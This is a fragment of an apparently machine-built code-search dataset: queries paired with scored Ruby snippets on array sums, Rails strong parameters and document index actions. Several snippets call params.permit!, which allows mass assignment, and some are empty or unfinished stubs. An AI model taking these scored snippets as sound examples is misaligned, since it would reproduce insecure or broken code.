"text": "def sum_only_numbers(an_array)\n # write your code here\\\ncounter = 0\nfor arr2 in an_array\nif arr2.is_a? Fixnum\ncounter += arr2\nelsif arr2.is_a? Float\ncounter += arr2\nend\nend\nan_array\ncounter\nend",
"title": ""
},
{
"docid": "883df7a2b39eef9873fae3d2ed3929e6",
"score": "0.6132186",
"text": "def sum(array)\n\n # If the array is empty, then inject will return a 0\n # else, it will enumerate over the array summing the integers\n array.reduce(0, :+)\n\nend",
"title": ""
},
{
"docid": "5e9d631778e82d45f8a67e35b03f219e",
"score": "0.6126555",
"text": "def sum(array)\n\nend",
"title": ""
},
{
"docid": "0c6f8f268e3443a02be21b6aed8112db",
"score": "0.61246425",
"text": "def array_sum(array)\n array.reduce(0, :+)\nend",
"title": ""
},
{
"docid": "4673a34a3af4ad078b292c6df7ee973b",
"score": "0.6114322",
"text": "def sum_of_array(arr)\n return nil if arr.length < 1\n return arr[0] if arr.length == 1\n\n arr[0] + sum_of_array(arr[1..-1])\nend",
"title": ""
},
{
"docid": "41aa8b9bf972f0a2c1ca4c2d2363eefc",
"score": "0.611423",
"text": "def sum_only_numbers(an_array)\n number_array = an_array.find_all {|x| (x.is_a? Integer)}\n number_array.inject {|sum,x| sum+x }\nend",
"title": ""
},
{
"docid": "16291ece43495024c1b9c5eaf4e227fc",
"score": "0.61126214",
"text": "def sum_array(integer_array)\n integer_array.inject(0){|sum, integer| sum + integer}\nend",
"title": ""
},
{
"docid": "58933bb0537890498cd1515633676d02",
"score": "0.6112457",
"text": "def first_of(array)\n if !array.is_a?(Array)\n return nil\n else \n return array[0]\n end\nend",
"title": ""
},
{
"docid": "eeffac88e8051c02587adb59f54048ec",
"score": "0.6106523",
"text": "def remove_nils_from_array(array)\nend",
"title": ""
},
{
"docid": "eeffac88e8051c02587adb59f54048ec",
"score": "0.6106523",
"text": "def remove_nils_from_array(array)\nend",
"title": ""
},
{
"docid": "ef60fb72cebe488239c7c6453c216c50",
"score": "0.61063325",
"text": "def sum_array(array)\narray.sum\nend",
"title": ""
},
{
"docid": "797c9a8b54583595df42009a646d1bd0",
"score": "0.61040556",
"text": "def sum(array)\n array.reduce(0) { |res, elem| res + elem }\nend",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "54c9fb81d9a357a832d26f331c793c1c",
"score": "0.0",
"text": "def student_params\n params.permit(:first_name, :last_name, :phone_number)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
557ec59127e5c4a4c9c17a991e96324f | GET /documents GET /documents.xml | [
{
"docid": "606e8a2b5140b4fb2b5721b95f9e5a03",
"score": "0.64463854",
"text": "def index\n @documents = Document.find(:all).select{ |doc| current_user.can?(self, :show, doc) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documents }\n end\n end",
"title": ""
}
] | [
{
"docid": "d2a99e8da401980123ae247607b6ca45",
"score": "0.7474943",
"text": "def documents(params={})\n server.get(\"#{name}/_all_docs\", params)\n end",
"title": ""
},
{
"docid": "c474703b08fb92e1e7da383246cd53e9",
"score": "0.71415854",
"text": "def index\n @docs = Doc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @docs }\n end\n end",
"title": ""
},
{
"docid": "b91d47f07124c8a88c47a4eb4b517701",
"score": "0.71349263",
"text": "def index\n @documents = Document.find :all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @documents }\n end\n end",
"title": ""
},
{
"docid": "0878033e0730a3b1d7f3202d2f6ae692",
"score": "0.7078003",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "0878033e0730a3b1d7f3202d2f6ae692",
"score": "0.7078003",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "dd98a5a659635c41eebb5ddfa51d35e8",
"score": "0.7072605",
"text": "def document_details(guid)\n get \"/api/documents/#{guid}.xml\"\n end",
"title": ""
},
{
"docid": "0f76fbfbae70d60415a5a4cf8fa67962",
"score": "0.7023266",
"text": "def index\n @documentations = Documentation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentations }\n end\n end",
"title": ""
},
{
"docid": "d2c50b7fac4b58e729d820c04c34c852",
"score": "0.70104104",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "0d57f2c798915c7765bd700c5c74f75c",
"score": "0.6913757",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"title": ""
},
{
"docid": "bc99e14d95590039cd200dd37f481912",
"score": "0.6910448",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document }\n end\n end",
"title": ""
},
{
"docid": "d1445189a7e43a5ae57b8137d822a28d",
"score": "0.690204",
"text": "def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end",
"title": ""
},
{
"docid": "e3590b08fbfc17ed6b686e46c7c96e84",
"score": "0.688747",
"text": "def service_document\n response = get(@url.to_s)\n response.body\n end",
"title": ""
},
{
"docid": "3ec79d55538f6a0e92f7ec97f3235cef",
"score": "0.6881598",
"text": "def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"title": ""
},
{
"docid": "472e936da3e0e1e38213e29571d0dd90",
"score": "0.6869731",
"text": "def documents\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents\")[\"envelopeDocuments\"]\n end",
"title": ""
},
{
"docid": "23e93ace1add798c800c6b583a9801dd",
"score": "0.6867693",
"text": "def show\n @documentation = Documentation.find(params[:id])\n @documentations = Documentation.find(:all)\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documentation }\n end\n end",
"title": ""
},
{
"docid": "d0077b1db2585f998f5aaa3c24ba2ae1",
"score": "0.6814145",
"text": "def show\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @doc }\n end\n end",
"title": ""
},
{
"docid": "d0077b1db2585f998f5aaa3c24ba2ae1",
"score": "0.6814145",
"text": "def show\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @doc }\n end\n end",
"title": ""
},
{
"docid": "d50f9440cc883ec3f8d23bd1d55f1ce7",
"score": "0.671058",
"text": "def index\n\n @documentable = find_resource\n @documents = @documentable.documents\n\n end",
"title": ""
},
{
"docid": "8244cabefb317939d32b18b97a593c5f",
"score": "0.6696215",
"text": "def index\n @space = Space.where(:wiki_name => params[:space_id])[0]\n @documents = @space.documents.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documents }\n format.json { render :json => @documents.to_json }\n end\n end",
"title": ""
},
{
"docid": "22731b1fc5f2e5b4eaa2a18f033677be",
"score": "0.6671266",
"text": "def get_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Get.new(uri)\n run(uri, req)\n end",
"title": ""
},
{
"docid": "daf0bd11c5e7e97d796869f8cdcf1c4b",
"score": "0.6644763",
"text": "def index\n @documents = Document.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end",
"title": ""
},
{
"docid": "26a218bbb7bef1ff9ba68d8344b422b6",
"score": "0.66325825",
"text": "def documents; end",
"title": ""
},
{
"docid": "26a218bbb7bef1ff9ba68d8344b422b6",
"score": "0.66325825",
"text": "def documents; end",
"title": ""
},
{
"docid": "98a704715ff5e66e5b6dc87e3f284833",
"score": "0.6628683",
"text": "def action_documents\n # Code borrowed from [blacklight]/app/services/blacklight/search_service.rb\n solr_response = search_service.repository.find params[:id]\n # Not sure if we need to set @documents in this context (d.croney)\n @documents = solr_response.documents\n [solr_response, solr_response.documents]\n end",
"title": ""
},
{
"docid": "f79e36b64c59a64ba2a8ab461d9c1e1f",
"score": "0.66254574",
"text": "def show\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @docent }\n end\n end",
"title": ""
},
{
"docid": "f2fa9931b61b4e645620e51cf681f670",
"score": "0.66091675",
